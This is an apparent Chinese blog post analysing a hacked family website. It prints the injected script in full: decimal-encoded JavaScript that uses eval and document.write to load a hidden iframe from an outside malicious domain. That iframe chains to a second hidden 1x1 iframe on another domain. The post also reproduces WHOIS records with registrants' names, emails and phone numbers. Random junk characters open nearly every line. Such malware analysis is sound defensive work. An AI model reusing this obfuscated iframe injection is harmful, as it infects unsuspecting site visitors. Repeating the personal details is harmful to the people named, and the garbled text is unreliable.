首发在我的博客里面，
|CFRJN-J" ~@W*r5/ http://www.areway.cn/?p=175 =/0=$\Ws {w6/[ -^ `Ityi} 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
.ic:` 1 <n"C, <script>t=’60,105,102,114,97,109,101,
w n|]{Ww35 32,115,114,99,61,104,116,116,112,58,47,47,
1GCzyBSbb 102,114,101,101,46,117,45,117,117,117,46,99,
1fU,5+PH 110,47,101,114,114,111,114,46,104,116,109,
iEyeX0nm 32,119,105,100,116,104,61,49,48,48,32,104,
Cfu=u *u 101,105,103,104,116,61,48,62,60,47,105,102,
qoMfSz "( 114,97,109,101,62′;
V@-) \RZm t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
;3eKqr0 $A_]:qI2 <script>t=’60,105,102,114,97,109,101,32,115,
%kshQ%P)? 114,99,61,104,116,116,112,58,47,47,102,114,
Q>< 0[EPj3 101,101,46,117,45,117,117,117,46,99,110,47,
<.K4 Jlb T 101,114,114,111,114,46,104,116,109,32,119,
]e?x# <S 105,100,116,104,61,49,48,48,32,104,101,105,
-V.d?A4" 103,104,116,61,48,62,60,47,105,102,114,97,
!D^c3d
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
f9 $xk|2g document.write(t);</script>
+j14 Q$ l! bv^ <html xmlns=”
i]{1^pKq http://www.w3.org/1999/xhtml 3>M&D20Z “>
kS 5_&#
<head>
:iWS\G^ U <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
fh8j2S9J <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
~Ou1WnmO <title>首页 - 爱生活家庭网
,MPB/j^o5! Gbpw5n; e 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
rZXrT}Xh{W 转换字符串后的大概内容是（谁点击后果自付）：
!A3-0zN! <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
bPK Ow< y]
oaO+ 查询玉米u-uuu.cn的详细信息：
Io`P,l: Domain Name: u-uuu.cn
PUJ2`iP1^3 ROID: 20070901s10001s64972306-cn
h B;VCg8 Domain Status: ok
|KI UgI Registrant Organization: 王雷
Lo .rvt
Registrant Name: 王雷
am1[9g8L Administrative Email:
czlovexs@126.com x\e;+ubt} Sponsoring Registrar: 北京万网志成科技有限公司
0 fXLcal Name Server:ns.yovole.com
, 8' >R@o Name Server:ns1.yovole.com
@D ^^ _1~ Registration Date: 2007-09-01 17:54
qFX~[h8i+ Expiration Date: 2008-09-01 17:54
U @v*0 最后PING了一下地址 都没有什么….
! |waK~jK ?4H#G)F 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Z6C= T;w <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
@oP_;G <script language=”javascript” src=”
#65^w=Sp} http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ?
8aaD>OR$ >
B _`y|sn 这个玉米应该有可能是木马作者的：
~T7B$$ foafau.info的详细信息：
+gd2|`# Access to INFO WHOIS information is provided to assist persons in
NH<gU_s8{9 determining the contents of a domain name registration record in the
./vZe_o)j$ Afilias registry database. The data in this record is provided by
AFvgbn8Qh Afilias Limited for informational purposes only, and Afilias does not
4LcX<B U9 guarantee its accuracy. This service is intended only for query-based
RprKm'b8x` access. You agree that you will use this data only for lawful purposes
2zSG&",2D and that, under no circumstances will you use this data to: (a) allow,
) /vhclkb enable, or otherwise support the transmission by e-mail, telephone, or
8F(h*e_? facsimile of mass unsolicited, commercial advertising or solicitations
oc bB& to entities other than the data recipient’s own existing customers; or
uP3_FX:
e (b) enable high volume, automated, electronic processes that send
sAn0bX queries or data to the systems of Registry Operator, a Registrar, or
w>fdQ!RdP Afilias except as reasonably necessary to register domain names or
/PBaIoJE modify existing registrations. All rights reserved. Afilias reserves
eK_*2=;XRW the right to modify these terms at any time. By submitting this query,
Qp,DL@mp>8 you agree to abide by this policy.
`N//A}9 Domain ID:D22418703-LRMS
cLa]D[H Domain Name:FOAFAU.INFO
pL=d% m.W Created On:20-Nov-2007 16:05:42 UTC
mMx ;yZ Last Updated On:20-Nov-2007 16:05:44 UTC
)4U> !KrY Expiration Date:20-Nov-2008 16:05:42 UTC
w.\w1:d Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
[S]S^ej*8 Status:CLIENT DELETE PROHIBITED
tY${M^^<J Status:CLIENT RENEW PROHIBITED
r~-.nb"P Status:CLIENT TRANSFER PROHIBITED
{#P `^g Status:CLIENT UPDATE PROHIBITED
x&Vm!,%:1 Status:TRANSFER PROHIBITED
Am PMY:1i" Registrant ID:GODA-040110615
D-Vai#Cd Registrant Name:liu hong
AE`We$! Registrant Organization:
X[s8X!# Registrant Street1:beijing
=h6
sPJ Registrant Street2:
Snly UP~P Registrant Street3:
Pz#7h*;cw. Registrant City:beijing
qSqI7ptA \ Registrant State/Province:
1 2++RkL# Registrant Postal Code:100000
up3O|lj4 Registrant Country:CN
V-I(WzR9y Registrant Phone:+86.860108888777
LH 3}d<{ Registrant Phone Ext.:
p9U?!L!y Registrant FAX:
u cwnA Registrant FAX Ext.:
5
8-e ^. Registrant Email:bbbshiji@163.com
f %lD08Sl Admin ID:GODA-240110615
S d/ ?& Admin Name:liu hong
"vYE+ Admin Organization:
@ l1 Admin Street1:beijing
UtB 6V)YI Admin Street2:
=(a1+. O Admin Street3:
aV o;~h~ Admin City:beijing
_I`,Br:N Admin State/Province:
h e aR X4 Admin Postal Code:100000
U-k+9f 0 Admin Country:CN
aSuM2 Admin Phone:+86.860108888777
,:fl?x.X Admin Phone Ext.:
e~ aqaY~} Admin FAX:
[3l*F Admin FAX Ext.:
CM )Q& : Admin Email:bbbshiji@163.com
g*)K/Z0pJ$ Billing ID:GODA-340110615
zl-2$}<a Billing Name:liu hong
cfox7FmW Billing Organization:
K3uG2g(>2 Billing Street1:beijing
oRKEJ Nps Billing Street2:
KIA 2"KbjG Billing Street3:
jV#ahNq; Billing City:beijing
n?\ nn3 Billing State/Province:
`nKH"TaX Billing Postal Code:100000
&R|/t :DN Billing Country:CN
fP
tm0.r Billing Phone:+86.860108888777
&1l=X]% Billing Phone Ext.:
IKMeJ(:S Billing FAX:
#j#_cImE Billing FAX Ext.:
)15Z#` x Billing Email:bbbshiji@163.com
F-D]TRG/*] Tech ID:GODA-140110615
ANIz, LS Tech Name:liu hong
6) oLus Tech Organization:
; Sd\VR Tech Street1:beijing
A7! g Tech Street2:
72sD0)?A Tech Street3:
8Y0"Cejq Tech City:beijing
PiV7*F4qI. Tech State/Province:
Wk:hFHs3 Tech Postal Code:100000
E_F5(x SA Tech Country:CN
i,V ;xB2 Tech Phone:+86.860108888777
nJRS.xs Tech Phone Ext.:
^l^f D t Tech FAX:
J$ 4wL
F3 Tech FAX Ext.:
H/M Au7 Tech Email:bbbshiji@163.com
{7!UQrm< Name Server:NS27.DOMAINCONTROL.COM
)eUW5
tS Name Server:NS28.DOMAINCONTROL.COM
T5Q{{ @Q Name Server:
'Y$R~e^Y? Name Server:
`c/*H2 9 Name Server:
48|s$K ^ Name Server:
O\K_q7 iO6 Name Server:
;!o]wHmA Name Server:
y@j,a Name Server:
) xbO6V Name Server:
^ mAYBOE Name Server:
]0;86 4X0 Name Server:
M
:3u@06a Name Server:
]
2DH; ZYf2XI(_" 接着下载每个文件里面的代码：
U. AjYez 一步一步看..
-", =G\XZ 
y%sroI('y 
{k4CEt; 
UA[,2MBp 
Cv$
SJc 
9Rm/V5 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
